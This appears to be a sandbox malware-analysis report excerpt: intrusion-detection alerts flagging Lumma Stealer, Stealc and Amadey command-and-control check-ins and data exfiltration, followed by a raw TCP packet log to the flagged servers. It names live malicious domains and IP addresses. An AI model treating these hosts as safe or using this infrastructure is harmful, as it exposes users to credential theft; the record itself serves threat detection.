2024-11-01T03:46:41.226511+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	60500	1.1.1.1	53	UDP
2024-11-01T03:46:41.880379+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58554	188.114.97.3	443	TCP
2024-11-01T03:46:41.880379+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58554	188.114.97.3	443	TCP
2024-11-01T03:46:42.759908+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	58554	188.114.97.3	443	TCP
2024-11-01T03:46:42.759908+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58554	188.114.97.3	443	TCP
2024-11-01T03:46:43.201739+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58556	188.114.97.3	443	TCP
2024-11-01T03:46:43.201739+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58556	188.114.97.3	443	TCP
2024-11-01T03:46:43.539895+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	58555	185.215.113.206	80	TCP
2024-11-01T03:46:43.586082+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58557	188.114.97.3	443	TCP
2024-11-01T03:46:43.586082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58557	188.114.97.3	443	TCP
2024-11-01T03:46:44.051682+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	58557	188.114.97.3	443	TCP
2024-11-01T03:46:44.051682+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58557	188.114.97.3	443	TCP
2024-11-01T03:46:44.678930+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	58559	185.215.113.43	80	TCP
2024-11-01T03:46:47.719230+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58563	188.114.97.3	443	TCP
2024-11-01T03:46:47.719230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58563	188.114.97.3	443	TCP
2024-11-01T03:46:49.372290+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58565	188.114.97.3	443	TCP
2024-11-01T03:46:49.372290+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58565	188.114.97.3	443	TCP
2024-11-01T03:46:51.050687+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58571	188.114.97.3	443	TCP
2024-11-01T03:46:51.050687+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58571	188.114.97.3	443	TCP
2024-11-01T03:46:51.755382+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58571	188.114.97.3	443	TCP
2024-11-01T03:46:51.956061+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58576	188.114.97.3	443	TCP
2024-11-01T03:46:51.956061+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58576	188.114.97.3	443	TCP
2024-11-01T03:46:52.340805+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	58575	185.215.113.206	80	TCP
2024-11-01T03:46:52.716904+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	58580	185.215.113.16	80	TCP
2024-11-01T03:46:54.575924+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58586	188.114.97.3	443	TCP
2024-11-01T03:46:54.575924+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58586	188.114.97.3	443	TCP
2024-11-01T03:46:57.739901+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58589	188.114.97.3	443	TCP
2024-11-01T03:46:57.739901+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58589	188.114.97.3	443	TCP
2024-11-01T03:46:58.576079+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	58589	188.114.97.3	443	TCP
2024-11-01T03:47:00.199675+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58591	188.114.97.3	443	TCP
2024-11-01T03:47:00.199675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58591	188.114.97.3	443	TCP
2024-11-01T03:47:02.356592+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	58593	185.215.113.206	80	TCP
2024-11-01T03:47:03.362221+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58595	188.114.97.3	443	TCP
2024-11-01T03:47:03.362221+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58595	188.114.97.3	443	TCP
2024-11-01T03:47:04.183427+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58595	188.114.97.3	443	TCP
2024-11-01T03:47:05.098334+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	58600	185.215.113.16	80	TCP
2024-11-01T03:47:16.836474+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	58630	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 03:45:06.188325882 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.188400030 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:06.188528061 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.191448927 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.191490889 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:06.821139097 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:06.821314096 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.825161934 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.825182915 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:06.825480938 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:06.867340088 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.891223907 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.891223907 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:06.891351938 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:07.353252888 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:07.353341103 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:07.353450060 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:07.355297089 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:07.355297089 CET	49709	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:07.355348110 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:07.355376005 CET	443	49709	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:07.433933973 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:07.433963060 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:07.434034109 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:07.434449911 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:07.434463978 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:08.764074087 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:08.764276028 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:08.765605927 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:08.765625954 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:08.766035080 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:08.767513990 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:08.767539024 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:08.767589092 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.479300022 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.479401112 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.479444981 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.479468107 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.479522943 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.479592085 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.480112076 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.480372906 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.480431080 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.480444908 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.481734991 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.481784105 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.481801987 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.481817007 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.481880903 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.598201990 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.598865986 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.598943949 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.598995924 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.599267006 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.599371910 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.599464893 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.599507093 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.599533081 CET	49710	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.599548101 CET	443	49710	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.697571993 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.697618961 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:09.697715044 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.698092937 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:09.698105097 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:10.320296049 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:10.320447922 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:10.322257996 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:10.322267056 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:10.322582960 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:10.324011087 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:10.324193954 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:10.324229002 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.131642103 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.131740093 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.131864071 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.132296085 CET	49712	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.132311106 CET	443	49712	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.229480982 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.229527950 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.229598999 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.229967117 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.229984999 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.836754084 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.836889029 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.838339090 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.838351965 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.838586092 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.839956045 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.840095997 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.840130091 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:11.840188026 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:11.840194941 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:12.400362015 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:12.400458097 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:12.400531054 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:12.400736094 CET	49713	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:12.400752068 CET	443	49713	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:12.577339888 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:12.577377081 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:12.577450991 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:12.577809095 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:12.577821016 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:13.177129984 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:13.179790020 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:13.181871891 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:13.181880951 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:13.182126045 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:13.183569908 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:13.183713913 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:13.183748960 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:13.183821917 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:13.183830976 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:14.078109980 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:14.078210115 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:14.078275919 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:14.078435898 CET	49714	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:14.078454971 CET	443	49714	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:14.574245930 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:14.574351072 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:14.574476957 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:14.574814081 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:14.574852943 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:15.194122076 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:15.194214106 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:15.195966005 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:15.195987940 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:15.196237087 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:15.197552919 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:15.197637081 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:15.197669983 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:15.881222963 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:15.881318092 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:15.881416082 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:15.881614923 CET	49716	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:15.881649017 CET	443	49716	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.354243994 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.354290009 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.354362965 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.354752064 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.354767084 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.960768938 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.960877895 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.962188005 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.962193966 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.962431908 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.963656902 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.964396954 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.964432955 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.965073109 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.965116024 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.966073036 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.966125965 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.966300964 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.966336966 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.966536045 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.966563940 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.966811895 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.966847897 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.966860056 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.966876030 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.967083931 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.967113972 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.967140913 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.967359066 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.967381954 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.974921942 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.975178003 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.975208998 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:16.975238085 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.975279093 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.975802898 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:16.979995966 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:18.703824997 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:18.703908920 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:18.703959942 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:18.704119921 CET	49727	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:18.704133034 CET	443	49727	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:18.713407993 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:18.713424921 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:18.713490963 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:18.713778973 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:18.713788986 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.321566105 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.321630001 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:19.323129892 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:19.323133945 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.323374987 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.325012922 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:19.325047016 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:19.325081110 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.778886080 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.778963089 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.779148102 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:19.779222965 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:19.779233932 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.779243946 CET	49743	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:45:19.779248953 CET	443	49743	188.114.97.3	192.168.2.6
Nov 1, 2024 03:45:19.782795906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:19.787600994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:19.787698030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:19.787765026 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:19.792493105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705243111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705257893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705276966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705290079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705301046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705315113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705327034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705338955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705343008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705372095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.705399036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.705434084 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.705434084 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.710364103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.710376024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.710390091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.710441113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.710504055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.710556030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.868151903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868174076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868184090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868261099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.868299961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868309975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868350029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.868455887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868491888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868505955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.868503094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868546963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.868835926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868845940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.868880033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.869004965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869055033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869066954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869106054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.869151115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869163990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869175911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869203091 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.869225025 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.869908094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869951010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.869961977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.870045900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.870055914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.870075941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.870100021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.983686924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.983728886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.983741045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.983799934 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.983819962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.983861923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.983872890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:20.983906984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.983906984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:20.984064102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031342030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031363964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031373978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031423092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031435013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031443119 CET	49750	80	192.168.2.6	185.215.113.16
